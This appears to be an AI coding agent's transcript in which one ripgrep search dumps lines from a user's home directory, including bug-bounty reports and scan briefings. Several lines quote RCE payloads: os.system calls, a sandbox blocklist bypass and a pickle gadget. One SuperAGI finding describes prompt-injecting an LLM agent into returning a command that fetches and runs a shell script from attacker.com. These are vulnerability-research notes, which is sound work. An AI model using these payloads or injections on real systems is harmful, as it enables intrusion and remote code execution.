nos desconectamos convirtiendo cicatrices a karaoke. seguir


bash

pwd && rg -n "cicatrices|karaoke|stem|demucs|spleeter" -S /home/sebas /mnt/rpi/pi-config 2>/dev/null | head -n 200


/home/sebas/scripts/ballbox-services.sh:13:    systemctl --user restart agents-database-http.service
/home/sebas/scripts/ballbox-services.sh:26:    systemctl --user restart personal-agent.service
/home/sebas/scripts/ballbox-services.sh:28:    if systemctl --user is-active --quiet personal-agent.service; then
/home/sebas/scripts/ballbox-services.sh:39:    systemctl --user restart opencode-web.service
/home/sebas/scripts/ballbox-services.sh:41:    if systemctl --user is-active --quiet opencode-web.service; then
/home/sebas/scripts/ballbox-services.sh:52:    sudo systemctl restart nginx
/home/sebas/scripts/ballbox-services.sh:54:    if systemctl is-active --quiet nginx; then
/home/sebas/scripts/ballbox-services.sh:74:    if systemctl --user is-active --quiet personal-agent.service; then
/home/sebas/scripts/ballbox-services.sh:80:    if systemctl --user is-active --quiet opencode-web.service; then
/home/sebas/scripts/ballbox-services.sh:86:    if systemctl is-active --quiet nginx; then
/home/sebas/scripts/ballbox-services.sh:111:        echo "agents-database: $(systemctl --user is-active agents-database-http.service 2>/dev/null || echo 'unknown')"
/home/sebas/scripts/ballbox-services.sh:112:        echo "personal-agent: $(systemctl --user is-active personal-agent.service 2>/dev/null || echo 'unknown')"
/home/sebas/scripts/ballbox-services.sh:113:        echo "opencode-web: $(systemctl --user is-active opencode-web.service 2>/dev/null || echo 'unknown')"
/home/sebas/scripts/ballbox-services.sh:114:        echo "nginx: $(systemctl is-active nginx 2>/dev/null || echo 'unknown')"
/home/sebas/bug-bounty/reports/ComfyUI-ModelPreviewPathTraversal-2026-02-14.md:21:Impact: Limited arbitrary image-file read from filesystem and possible information disclosure (private images, screenshots, model artifacts). Also potential noisy error/DoS behavior with invalid indices.
/home/sebas/bug-bounty/reports/ComfyUI-ModelPreviewPathTraversal-2026-02-14.md:54:Limited arbitrary image-file read from filesystem and possible information disclosure (private images, screenshots, model artifacts). Also potential noisy error/DoS behavior with invalid indices.
/home/sebas/bug-bounty/reports/humand-MasterPasswordAuthBypass-2026-02-14.md:47:The risk is amplified by service-user creation paths that rely on this same secret model, making it a systemic single-point-of-failure in authentication design.
/home/sebas/eiffel-monitor/README.md:20:sudo cp eiffel-monitor.service /etc/systemd/system/
/home/sebas/eiffel-monitor/README.md:21:sudo systemctl daemon-reload
/home/sebas/eiffel-monitor/README.md:22:sudo systemctl enable eiffel-monitor
/home/sebas/eiffel-monitor/README.md:23:sudo systemctl start eiffel-monitor
/home/sebas/eiffel-monitor/README.md:41:- `eiffel-monitor.service` - Servicio systemd
/home/sebas/bug-bounty/reports/SuperAGI-PathTraversal-2026-02-13.md:34:The resource upload endpoint at `/api/resources/add/{agent_id}` constructs a file path using the multipart upload's `filename` field without sanitization. The `file.filename` from the multipart form data is passed directly to `os.path.join()`, allowing an attacker to write files to arbitrary locations on the filesystem.
/home/sebas/bug-bounty/reports/SuperAGI-PathTraversal-2026-02-13.md:38:The endpoint validates the `name` parameter against an allowlist of extensions (`.pdf`, `.docx`, `.txt`, etc.), but this validation applies to the separate `name` form field — NOT to `file.filename` from the actual multipart file upload. The `file.filename` value is used for the filesystem path and is completely unsanitized.
/home/sebas/bug-bounty/reports/SuperAGI-PathTraversal-2026-02-13.md:72:This vulnerability allows an authenticated user to write arbitrary files anywhere on the server filesystem (limited by process permissions). An attacker can overwrite application source code to inject backdoors, write cron jobs for persistent access, plant webshells, or corrupt configuration files causing denial of service. In the default Docker deployment, the process runs as root, so the entire container filesystem is writable.
/home/sebas/bug-bounty/reports/DBGPT-SandboxBlocklistBypassRCE-2026-02-14.md:26:DB-GPT sandbox validation relies on substring blocklist checks (e.g., `"import os"`) that are trivially bypassed with alternate syntax such as `from os import system`.
/home/sebas/bug-bounty/reports/DBGPT-SandboxBlocklistBypassRCE-2026-02-14.md:53:  "code_content": "from os import system\nsystem('id')"
/home/sebas/bug-bounty/reports/BentoML-PickleRCE-2026-02-12.md:86:            return (os.system, ('id > /tmp/bentoml_rce_proof',))
/home/sebas/bug-bounty/README.md:3:Autonomous bug bounty hunting system powered by Claude Code. An orchestrator agent coordinates specialized subagents that discover targets, scan repos, investigate findings, and draft reports.
/home/sebas/bug-bounty/README.md:48:├── .claude/agents/   # Subagent system prompts
/home/sebas/bug-bounty/data/targets.json:54:      "notes": "Image gen workflow UI. Python. 509 files. Custom node/plugin system = code execution surface. Known CVEs: CVE-2025-6107 (attr manipulation), CVE-2026-22777 (security bypass RCE), CVE-2025-67303 (config manipulation). Active attack surface."
/home/sebas/bug-bounty/data/targets.json:71:      "notes": "Massive image gen web UI. Python. 213 files + extensions. Extension system, model loading, image processing, API endpoints. Under-researched on huntr."
/home/sebas/bug-bounty/data/targets.json:106:      "notes": "181k stars. Autonomous AI agent. LOWER COMPETITION on huntr. Focus: plugin system, tool execution, file ops, web scraping."
/home/sebas/bug-bounty/CLAUDE.md:42:Agents are in `.claude/agents/`. Each has its own system prompt. Pass context via the Task prompt:
/home/sebas/bug-bounty/reports/DB-GPT-PDFEvalRCE-2026-02-13.md:46:payload = "__import__('os').system('id > /tmp/pwned')"
/home/sebas/bug-bounty/reports/ComfyUI-MultiUser-HeaderImpersonation-2026-02-15.md:31:- The value is only checked for a system-user prefix and membership in `self.users`.
/home/sebas/bug-bounty/reports/ComfyUI-MultiUser-HeaderImpersonation-2026-02-15.md:72:6. Access victim assets (if the assets system is enabled):
/home/sebas/bug-bounty/reports/ComfyUI-MultiUser-HeaderImpersonation-2026-02-15.md:114:  Description: /userdata endpoints enforce filesystem boundaries but rely on get_request_user_id(), so spoofing the header grants cross-user access within the per-user root.
/home/sebas/bug-bounty/reports/BentoML-YataiTarPathTraversal-2026-02-14.md:28:This creates a potential traversal risk if a malicious archive with `../` member names is processed and underlying filesystem wrapper does not strictly block traversal.
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_TRON_java-tron_2026-02-15.md:17:Trufflehog (filesystem, filtered, no verification):
/home/sebas/bug-bounty/reports/OpenUI-LiteLLM-MasterKey-2026-02-14.md:47:Unauthorized access to LiteLLM proxy capabilities if the proxy is reachable, potentially enabling abuse of configured provider keys and system resources.
/home/sebas/bug-bounty/reports/SuperAGI-RedisTaskEvalRCE-2026-02-14.md:53:__import__('os').system('id')
/home/sebas/bug-bounty/reports/ComfyUI-TorchLoadRCE-2026-02-13.md:39:Additionally, the `folder_name` parameter has **zero path traversal validation**. It is joined directly with the output directory via `os.path.join(folder_paths.get_output_directory(), folder_name)` (line 1445). An attacker can use `../` sequences to load `.pkl` files from any directory on the filesystem.
/home/sebas/bug-bounty/briefings/archive/CVE_2026-02-12.md:7:Targets file is currently **empty** (`targets.json` contains no entries). This briefing covers high-severity CVEs from the past 7 days in commonly-targeted bug bounty frameworks and libraries across Python, JavaScript/TypeScript, Go, and Rust ecosystems.
/home/sebas/bug-bounty/briefings/archive/SCAN_FastChat_2026-02-12.md:46:analysis: The controller's `/register_worker` endpoint accepts any URL as `worker_name` with NO authentication, NO URL validation, and NO allowlisting. An attacker can register `http://169.254.169.254/latest/meta-data/` or any internal service URL as a "worker". The controller then makes HTTP POST requests to that URL during health checks (`get_worker_status`), when proxying generation requests (`worker_api_generate_stream`), and via the heartbeat system. This is a textbook SSRF that allows probing internal network, cloud metadata services, and exfiltrating internal data via the JSON response. The OpenAI API server (`openai_api_server.py:376`) also forwards requests to whatever worker address the controller returns, creating a second SSRF vector where the response content is returned to the caller.
/home/sebas/bug-bounty/briefings/archive/SCAN_FastChat_2026-02-12.md:121:analysis: Uses unsafe deserialization on a file provided as a CLI argument. If an attacker can control the input file (e.g., via a shared filesystem or supply chain attack), they achieve RCE. However, this is a CLI-only script for offline data analysis, not a web-exposed endpoint.
/home/sebas/bug-bounty/briefings/archive/SCAN_FastChat_2026-02-12.md:140:analysis: The monitor Gradio app loads elo results from a file at startup. The file path is from CLI args. If an attacker can write to this file on the server's filesystem, they get RCE. This runs in the Gradio web context, making it slightly more interesting if the file is on a shared/writable filesystem.
/home/sebas/bug-bounty/briefings/archive/SCAN_FastChat_2026-02-12.md:146:recommendation: SKIP -- requires filesystem write access, which implies already-compromised system.
/home/sebas/bug-bounty/briefings/archive/SCAN_ragflow_2026-02-12.md:86:analysis: The MCP server create/update endpoints allow authenticated users to register arbitrary URLs. Unlike the web_crawl and crawler endpoints, there is NO is_valid_url() check. The system connects to the provided URL via SSE or HTTP to discover MCP tools. An attacker can register internal URLs (e.g., http://127.0.0.1:9380, http://redis:6379, http://mysql:3306) to probe internal services. The MCP client (sse_client/streamablehttp_client) will attempt TCP connections and the error messages may leak information about internal services.
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:33:analysis: When `args-number` header is >1, the runner server directly deserializes the raw HTTP request body with zero validation. The runner server listens on localhost:PORT (Windows/WSL) or UDS. While not directly internet-exposed, an SSRF from the main service (see F2) or any adjacent service could reach this. In containerized environments (k8s), runner pods may be reachable from other pods in the same namespace. This is the legacy runner architecture -- the new SDK uses a serde system with `is_main` guard, but the old runner_app.py has no such guard.
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:81:analysis: The SSRF protection uses a context manager that monkey-patches `uvloop.Loop.create_connection` globally, then restores it in the `finally` block. Under concurrent requests, Request A enters the context manager and patches the function. Request B (malicious) arrives. Request A exits and restores the original unpatched `create_connection`. Request B's connection now uses the unpatched version, bypassing SSRF protection entirely. This is a classic TOCTOU race. Additionally, the `except httpx.ConnectError` with string matching `"All connection attempts failed"` silently swallows other connection errors. The protection is also uvloop-specific -- it imports directly from `uvloop` and would fail on systems without it.
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:146:analysis: The yatai.py code (legacy BentoCloud/Yatai client) extracts tar archives downloaded from a remote server. Unlike `cloud/bento.py` and `cloud/model.py` which use `safe_extract_tarfile()`, the yatai.py code writes directly using `temp_fs.writebytes(member.name, ...)` with no path traversal check on `member.name`. A malicious tar from a compromised Yatai server could contain entries like `../../etc/cron.d/malicious`. However, pyfilesystem2's TempFS may provide some sandboxing. Also, the extraction target is a temp directory. Same pattern on line 974 for model extraction.
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:150:impact: Arbitrary file write outside temp directory (if pyfilesystem2 doesn't block traversal).
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:152:recommendation: SKIP -- requires compromised Yatai server (trusted source), pyfilesystem2 may block traversal, and newer cloud/bento.py already uses safe_extract_tarfile. Low exploitability in practice. Note: `cloud/bento.py:542` and `cloud/model.py:504` correctly use `safe_extract_tarfile`.
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:156:### F5: Multiple unsafe deserialization calls in runner container system
/home/sebas/bug-bounty/briefings/archive/SCAN_BentoML_2026-02-12.md:198:| src/bentoml/_internal/container/generate.py | Jinja2 template rendering | Templates are loaded from server-controlled filesystem paths. `resolve_user_filepath` has path traversal protection (recently hardened in commit 84d08cf). User template paths validated. |
/home/sebas/bug-bounty/briefings/archive/SCAN_mlflow_2026-02-12.md:60:analysis: The webhook system allows users to register arbitrary URLs that the MLflow server will POST to when events occur. The URL validation only checks the scheme (default: HTTPS only) and does not validate the hostname against an allowlist, does not block internal/private IP ranges (127.0.0.1, 10.x, 169.254.x, etc.), and does not use DNS rebinding protection. An authenticated user (when auth is enabled) or any user (on default deployments) can create webhooks pointing to internal services accessible from the MLflow server.
/home/sebas/SERVICES-ARCHITECTURE.md:28:- **Tailscale Serve Guardian**: Servicio systemd que verifica cada 5 minutos que los puertos expuestos estén activos
/home/sebas/SERVICES-ARCHITECTURE.md:65:sudo systemctl restart nginx
/home/sebas/SERVICES-ARCHITECTURE.md:75:ssh ballbox-first 'systemctl --user status personal-agent.service --no-pager'
/home/sebas/SERVICES-ARCHITECTURE.md:76:ssh ballbox-first 'systemctl --user status agents-database-http.service --no-pager'
/home/sebas/SERVICES-ARCHITECTURE.md:117:### Servicio systemd
/home/sebas/SERVICES-ARCHITECTURE.md:120:systemctl --user enable ballbox-services.target
/home/sebas/SERVICES-ARCHITECTURE.md:121:systemctl --user start ballbox-services.target
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:7:- Root filesystem free: ~933 MB (`df -h /` showed 14G total, 12G used, 933M avail)
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:13:- systemd journal: ~153M
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:59:Problem: `systemd-resolved` can conflict with Pi-hole binding to `:53`.
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:70:1. Edit `/etc/systemd/resolved.conf`:
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:75:sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:76:sudo systemctl restart systemd-resolved
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:87:Expected: `systemd-resolved` not listening on `:53`.
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:138:sudo systemctl is-active pihole-FTL
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:155:sudo systemctl enable --now unbound
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:197:<HUMAN_NEEDED> Edit `/etc/systemd/journald.conf`:
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:199:- `SystemMaxUse=200M`
/home/sebas/pihole-unbound-tailscale-blueprint.bck.md:205:sudo systemctl restart systemd-journald
/home/sebas/pihole-unbound-tailscale-blueprint.md:24:- `systemd-resolved` esta `inactive`.
/home/sebas/pihole-unbound-tailscale-blueprint.md:37:- `systemd-resolved` no es el actor relevante aqui; el resolv local del host lo controla Tailscale.
/home/sebas/pihole-unbound-tailscale-blueprint.md:42:- El root filesystem esta en ~`930 MB` libres. Ese numero por si solo ya invalida cualquier instalacion seria.
/home/sebas/pihole-unbound-tailscale-blueprint.md:65:- Asumia que bastaba con tocar `systemd-resolved`, pero no comprobaba si ya habia otro proceso escuchando en `:53`.
/home/sebas/pihole-unbound-tailscale-blueprint.md:70:- No trataba que en este host `systemd-resolved` no es el resolver local dominante; `resolv.conf` lo pisa Tailscale.
/home/sebas/pihole-unbound-tailscale-blueprint.md:93:- `systemd-journal`: ~153M.
/home/sebas/pihole-unbound-tailscale-blueprint.md:95:Conclusion: **no instalar nada** hasta recuperar espacio. Con menos de 1 GB libre, una combinacion de `apt`, logs y paquetes puede dejar el sistema en estado mediocre o roto.
/home/sebas/pihole-unbound-tailscale-blueprint.md:125:sudo systemctl --type=service --state=running | rg 'resolved|nginx|lighttpd|unbound|pihole' || true
/home/sebas/pihole-unbound-tailscale-blueprint.md:131:- Confirmar si `systemd-resolved` o cualquier otro servicio ocupa `:53`.
/home/sebas/pihole-unbound-tailscale-blueprint.md:193:- `systemd-resolved` esta inactivo.
/home/sebas/pihole-unbound-tailscale-blueprint.md:195:- `/etc/resolv.conf` no apunta al stub de `systemd-resolved`; esta generado por Tailscale.
/home/sebas/pihole-unbound-tailscale-blueprint.md:200:systemctl is-active systemd-resolved || true
/home/sebas/pihole-unbound-tailscale-blueprint.md:300:sudo systemctl is-active pihole-FTL
/home/sebas/pihole-unbound-tailscale-blueprint.md:357:sudo systemctl enable --now unbound
/home/sebas/pihole-unbound-tailscale-blueprint.md:447:En `/etc/systemd/journald.conf`:
/home/sebas/pihole-unbound-tailscale-blueprint.md:451:SystemMaxUse=200M
/home/sebas/pihole-unbound-tailscale-blueprint.md:458:sudo systemctl restart systemd-journald
/home/sebas/pihole-unbound-tailscale-blueprint.md:471:sudo systemctl disable --now unbound pihole-FTL
/home/sebas/pihole-unbound-tailscale-blueprint.md:474:4. Si `systemd-resolved` fue modificado, restaurar su comportamiento anterior solo si realmente era parte del estado original deseado.
/home/sebas/bug-bounty/briefings/archive/SCAN_LibreChat_2026-02-12.md:15:- Permission system with ACL for agents, files, MCP servers
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Chainlink_external-adapters-js_2026-02-15.md:21:Trufflehog (filesystem, filtered, archives skipped, no verification):
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Coinbase_cb-mpc_2026-02-15.md:16:Trufflehog (filesystem, no verification):
/home/sebas/telegram-bot-listener-backup-20260118/venv/bin/Activate.ps1:248:$Env:PATH = "$VenvExecDir$([System.IO.Path]::PathSeparator)$Env:PATH"
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_MetaMask_web3auth-web_2026-02-15.md:12:Trufflehog (filesystem, no verification):
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Chia_chia-blockchain_2026-02-15.md:16:Trufflehog (filesystem, filtered, no verification):
/home/sebas/telegram-bot-listener-backup-20260118/venv/pyvenv.cfg:2:include-system-site-packages = false
/home/sebas/bug-bounty/briefings/SUBMIT_2026-02-15.md:49:- **#52 ComfyUI multi-user** — emphasize that --multi-user implements per-user isolation (separate dirs, owner_id checks, system user blocking) demonstrating security intent. Auth layer is simply missing.
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_PolygonTechnology_2026-02-15.md:33:### trufflehog (filesystem, --no-verification)
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Chia_chia-blockchain-gui_2026-02-15.md:12:Trufflehog (filesystem, filtered, no verification):
/home/sebas/bug-bounty/briefings/SCAN_ComfyUI_2026-02-13.md:61:analysis: The `filename` parameter uses `{filename:.*}` pattern which matches any string including `../../`. There is no `commonpath` or `abspath` validation before joining with the folder path. The resulting path is passed to `get_model_previews()` which runs `glob.glob(f"{basename}.*")` and then `Image.open()` on matching files. An attacker can read any image file on the filesystem that has an extension. However, the output is always re-encoded as WEBP, so only valid image files can be read (not arbitrary files). The `path_index` is also unvalidated and could cause IndexError (DoS) with out-of-bounds values. Compared to F1, this is lower severity because: (1) only image files can be read, (2) content is re-encoded (no raw file exfiltration), (3) the endpoint is under `/experiment/` suggesting it may not be widely deployed.
/home/sebas/bug-bounty/briefings/SCAN_ComfyUI_2026-02-13.md:65:impact: Limited arbitrary image file read from filesystem. Could leak private images or model previews outside intended directories.
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Cosmos_gaia_2026-02-15.md:17:Trufflehog (filesystem, filtered, no verification):
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Cosmos_ics23_2026-02-15.md:12:Trufflehog (filesystem, filtered, no verification):
/home/sebas/health-system/logic/escalation_rules.md:1:# Sistema de Escalation y Alertas
/home/sebas/bug-bounty/docs/huntr/vulnerability-types.txt:31:Insufficient Isolation of System-Dependent Functions
/home/sebas/bug-bounty/docs/huntr/vulnerability-types.txt:245:Use of Password System for Primary Authentication
/home/sebas/bug-bounty/docs/huntr/vulnerability-types.txt:336:External Control of System or Configuration Setting
/home/sebas/bug-bounty/docs/huntr/vulnerability-types.txt:352:Exposure of Sensitive System Information to an Unauthorized Control Sphere
/home/sebas/bug-bounty/scripts/hackerone_top_paying.py:172:        raise SystemExit(f"Missing {BTTD_H1} (clone bounty-targets-data first)")
/home/sebas/bug-bounty/scripts/hackerone_top_paying.py:352:    raise SystemExit(main())
/home/sebas/health-system/README.md:1:# Health System
/home/sebas/health-system/README.md:3:Sistema de Salud Automatizado (versión completa) basado en reglas y datos de Xiaomi.
/home/sebas/health-system/README.md:7:health-system/
/home/sebas/health-system/README.md:31:4) Para auto-run: ver `README-systemd.md`
/home/sebas/health-system/README.md:36:- Systemd timer incluido en `systemd/` (instalación manual).
/home/sebas/health-system/README.md:47:  --message "Ejecutá: python /home/sebas/health-system/scripts/health_agent.py" \
/home/sebas/bug-bounty/briefings/SCAN_SuperAGI_2026-02-13.md:31:attack_vector: Create an agent with goals/instructions containing prompt injection. When the LLM returns task lists, craft input that causes LLM to return `__import__('os').system('curl attacker.com/shell.sh|sh')` instead of a JSON array. Alternatively, if agent browses attacker-controlled web content, the scraped page content can inject into the LLM context.
/home/sebas/bug-bounty/briefings/SCAN_SuperAGI_2026-02-13.md:60:analysis: Agent configuration values (goal, instruction, constraints) are stored as strings in the database and eval()'d when retrieved. If an authenticated user creates an agent with malicious goal text like `__import__('os').system('id')`, this gets stored in agent_configurations/agent_execution_configs tables and eval()'d every time the config is fetched or displayed. This is a separate attack vector from CVE-2024-9439 which was about the template update endpoint specifically.
/home/sebas/bug-bounty/briefings/SCAN_SuperAGI_2026-02-13.md:61:attack_vector: POST /api/agent/create with body containing `"goal": ["__import__('os').system('whoami')"]`. When the config is later read via eval(), the payload fires.
/home/sebas/bug-bounty/briefings/SCAN_SuperAGI_2026-02-13.md:83:impact: Arbitrary file write on the server filesystem. Can overwrite application code, write cron jobs, or plant webshells.
/home/sebas/bug-bounty/briefings/SCAN_privategpt_2026-02-13.md:11:Thorough manual review of all API endpoints, auth system, file ingestion pipeline, settings loading, YAML parsing, and document management. No semgrep or trufflehog results available.
/home/sebas/bug-bounty/briefings/SCAN_privategpt_2026-02-13.md:39:| private_gpt/server/recipes/summarize/summarize_router.py:19 | user-controlled prompt parameter | Prompt injection is inherent to LLM apps. The prompt parameter lets users customize summarization - this is intended functionality, not a vulnerability. No system-level impact. |
/home/sebas/bug-bounty/briefings/SCAN_OpenUI_2026-02-14.md:42:- semgrep flagged `session_store.write(...)` as request data write; it writes to SQLite via Peewee, not filesystem
/home/sebas/bug-bounty/briefings/SCAN_humand-main-api_2026-02-13.md:34:**Impact**: Anyone who knows the master password can authenticate as **any user in the system**, including admins across all tenants. This is a single point of failure for the entire platform's authentication. The same master password is used to create a service user ("humand") on every instance (`usersService.ts:3883-3889`), meaning it persists in the database hashed, but the plaintext comparison happens first.
/home/sebas/bug-bounty/briefings/SCAN_HackerOne_Cosmos_iavl_2026-02-15.md:15:Trufflehog (filesystem, filtered, no verification):
/home/sebas/bug-bounty/briefings/SCAN_DB-GPT_2026-02-13.md:61:analysis: PDFProcessor extracts table data from uploaded PDFs using pdfplumber. Each row is converted to a string representation of a list via str(row) (line 447). Later in _load(), these strings are passed to Python's code evaluation function to reconstruct the list objects (lines 185, 188, 215, 218). A malicious PDF with crafted table cell content can inject arbitrary Python code. For example, a cell containing code like `__import__('os').system('id')` would be stored as part of the row string and executed when processing occurs. The PDF is user-uploaded via the knowledge base feature.
/home/sebas/bug-bounty/briefings/SCAN_DB-GPT_2026-02-13.md:94:    "import os",        # bypass: from os import system
/home/sebas/bug-bounty/briefings/SCAN_DB-GPT_2026-02-13.md:118:analysis: The sandbox security check uses a simple string-matching blocklist. Multiple trivial bypasses exist: "from os import system" (only "import os" is blocked), "from subprocess import Popen", string concatenation to evade __import__ check, or using getattr on builtins. The code is written to a file and executed via subprocess with no OS-level sandboxing (no seccomp, no containers by default). The /execute API endpoint has no authentication.
/home/sebas/bug-bounty/briefings/SCAN_DB-GPT_2026-02-13.md:119:attack_vector: POST /execute with {"session_id":"x","code_type":"python","code_content":"from os import system\nsystem('id')"} - bypasses the blocklist since "from os import system" does not match "import os".
/home/sebas/bug-bounty/scripts/submission.py:35:        raise SystemExit(f"DB not found: {DB_PATH}")
/home/sebas/bug-bounty/scripts/submission.py:125:        raise SystemExit("--url is required")
/home/sebas/bug-bounty/scripts/submission.py:128:        raise SystemExit("Provide either --finding-id or --report")
/home/sebas/bug-bounty/scripts/submission.py:130:        raise SystemExit("Provide only one of --finding-id or --report")
/home/sebas/bug-bounty/scripts/submission.py:208:        raise SystemExit(f"unknown cmd: {args.cmd}")
/home/sebas/bug-bounty/scripts/submission.py:214:    raise SystemExit(main())
/home/sebas/health-system/scripts/notification_scheduler.py:75:    # main session requires system-event
/home/sebas/health-system/scripts/notification_scheduler.py:77:        cmd += ["--system-event", prompt]
/home/sebas/health-system/systemd/health-system.timer:2:Description=Health System Timer (every 30 minutes)
/home/sebas/health-system/systemd/health-system.service:2:Description=Health System (run once)
/home/sebas/health-system/systemd/health-system.service:7:WorkingDirectory=/home/sebas/health-system
/home/sebas/health-system/systemd/health-system.service:8:ExecStart=/usr/bin/python3 /home/sebas/health-system/scripts/health_agent.py
/home/sebas/health-system/README-systemd.md:1:# Systemd (auto-run cada 30 min)
/home/sebas/health-system/README-systemd.md:4:sudo cp systemd/health-system.service /etc/systemd/system/
/home/sebas/health-system/README-systemd.md:5:sudo cp systemd/health-system.timer /etc/systemd/system/
/home/sebas/health-system/README-systemd.md:7:sudo systemctl daemon-reload
/home/sebas/health-system/README-systemd.md:8:sudo systemctl enable --now health-system.timer
/home/sebas/health-system/README-systemd.md:11:systemctl status health-system.timer
/home/sebas/bug-bounty/scripts/db_normalize_paths.py:73:        raise SystemExit(f"DB not found: {DB_PATH}")
/home/sebas/bug-bounty/scripts/db_normalize_paths.py:122:    raise SystemExit(main())
/home/sebas/bug-bounty/scripts/huntr_paste.py:421:    raise SystemExit(main())
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/distro/distro.py:152:    "system-release",
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/distro/distro.py:231:    "kvmibm"        KVM for IBM z Systems
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/distro/distro.py:248:    "guix"          Guix System
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/distro/distro.py:442:    <http://www.freedesktop.org/software/systemd/man/os-release.html>`_.
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/distro/distro.py:1249:        encoding = sys.getfilesystemencoding()
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/distro/distro.py:1377:        help="Path to the root filesystem directory (defaults to /)",
/home/sebas/health-system/NEXT_STEPS.md:4:Implementar un sistema de salud automatizado **iterable y testeable** usando Clawdbot (cron + delivery simple), con estado persistente en archivos.
/home/sebas/bug-bounty/scripts/hackerone_scout.py:42:        raise SystemExit(f"Missing {BTTD} (clone bounty-targets-data first)")
/home/sebas/bug-bounty/scripts/hackerone_scout.py:102:        raise SystemExit(f"Unexpected targets.json shape: {path}")
/home/sebas/bug-bounty/scripts/hackerone_scout.py:211:    raise SystemExit(main())
/home/sebas/telegram-bot-listener-backup-20260118/venv/lib/python3.13/site-packages/pip/__pip-runner__.py:20:    raise SystemExit(
/home/sebas/health-system/PLAN_VERBATIM.md:1:Perfecto, vamos a expandir el sistema con esas características: Sistema de Salud Automatizado - Versión Completa 1. Estructura de Archivos ~/health-system/ ├── config/ │ ├── health_config.yaml # Configuración base │ ├── calendar_rules.md # Reglas de adaptación de calendario │ └── xiaomi_config.yaml # Credenciales y endpoints ├── logic/ │ ├── escalation_rules.md # Sistema de escalation │ ├── decision_tree.md # Árbol de decisiones │ └── correlations.md # Patrones detectados ├── data/ │ ├── daily_logs.json # Logs diarios │ ├── weekly_reports.json # Reportes semanales │ └── xiaomi_data.json # Data del reloj └── scripts/ ├── health_agent.py # Agente principal ├── calendar_adapter.py # Integración calendario ├── xiaomi_sync.py # Sync con Xiaomi └── decision_engine.py # Motor de decisiones 2. calendar_rules.md - Reglas de Adaptación # Reglas de Adaptación de Calendario ## Principio Base Los recordatorios de salud se adaptan al contexto del calendario, pero NUNCA se cancelan completamente. Se postponen o modifican. ## Reglas por Tipo de Evento ### MEETINGS (Reuniones) Detección: - Evento con >1 participante - Título contiene: "meeting", "reunión", "call", "sync", "1:1" Adaptaciones: - ❌ NO enviar recordatorio de "movement break" durante el meeting - ✅ SIEMPRE enviar "Elongá 2 min" al terminar el meeting - ✅ Si meeting >1h → recordatorio extra de agua al terminar - ⚠ Si meeting cerca de horario comida → adelantar recordatorio 15 min Ejemplo: ```yaml Event: "Team Sync" 10:00-11:00 Adaptación: - Cancelar reminder 10:00 (movement break) - Agendar reminder 11:01 "🚶 Meeting terminado. Elongá 2 min + vaso de agua" FOCUS TIME / DEEP WORK Detección: ∙ Evento marcado como “ocupado” sin otros participantes ∙ Título contiene: “focus”, “deep work”, “coding”, “writing” Adaptaciones: ∙ Reducir frecuencia de recordatorios (cada 90 min en vez de 60 min) ∙ Modo silencioso en Telegram (solo vibración) ∙ Permitir postponer breaks con /snooze 30 WORKOUT / CALISTENIA Detección: ∙ Título contiene: “gym”, “workout”, “calistenia”, “ejercicio” ∙ Duración: 60-120 min Adaptaciones: ∙ ❌ Cancelar ALL movement breaks durante ∙ ✅ Reminder POST-workout: “💧 2 vasos de agua + proteína” ∙ ✅ Marcar automáticamente como “sesión de calistenia cumplida” OUT OF OFFICE / VIAJES Detección: ∙ Evento todo el día ∙ Título contiene: “vacaciones”, “viaje”, “off” Adaptaciones: ∙ Reducir recordatorios al mínimo esencial: ∙ Solo: desayuno proteico, agua al despertar, pantallas antes de dormir ∙ No enviar movement breaks (asume movilidad natural) ∙ Mantener tracking de síntomas COMIDAS AGENDADAS Detección: ∙ Título contiene: “almuerzo”, “cena”, “desayuno”, “lunch”, “dinner” ∙ Duración: 30-90 min Adaptaciones: ∙ Reminder 15 min antes: “💧 Toma agua antes de comer” ∙ Reminder 30 min después: “¿Fatiga post-comida? (Sí/No/Leve)” ∙ Si respuesta = Sí → Log con detalles de qué comió Prioridades (Orden de Importancia) 1. NUNCA CANCELAR: ∙ Desayuno con proteína ∙ Screen cutoff (22:30) ∙ Tracking de síntomas 2. ADAPTAR TIMING: ∙ Movement breaks (postponer si hay meeting) ∙ Agua (concentrar en ventanas libres) 3. REDUCIR FRECUENCIA: ∙ En deep work ∙ En días de viaje Lógica de Decisión IF meeting_in_progress: POSTPONE movement_break TO meeting_end + 1min ADD extra_reminder("Elongá + agua") IF focus_time AND time_since_last_break > 90min: SEND gentle_reminder("Break sugerido cuando termines") IF workout_detected: MARK calisthenics_session = True SCHEDULE post_workout_nutrition_reminder IF all_day_event: SWITCH_TO minimal_mode Calendario de Ejemplo Adaptado 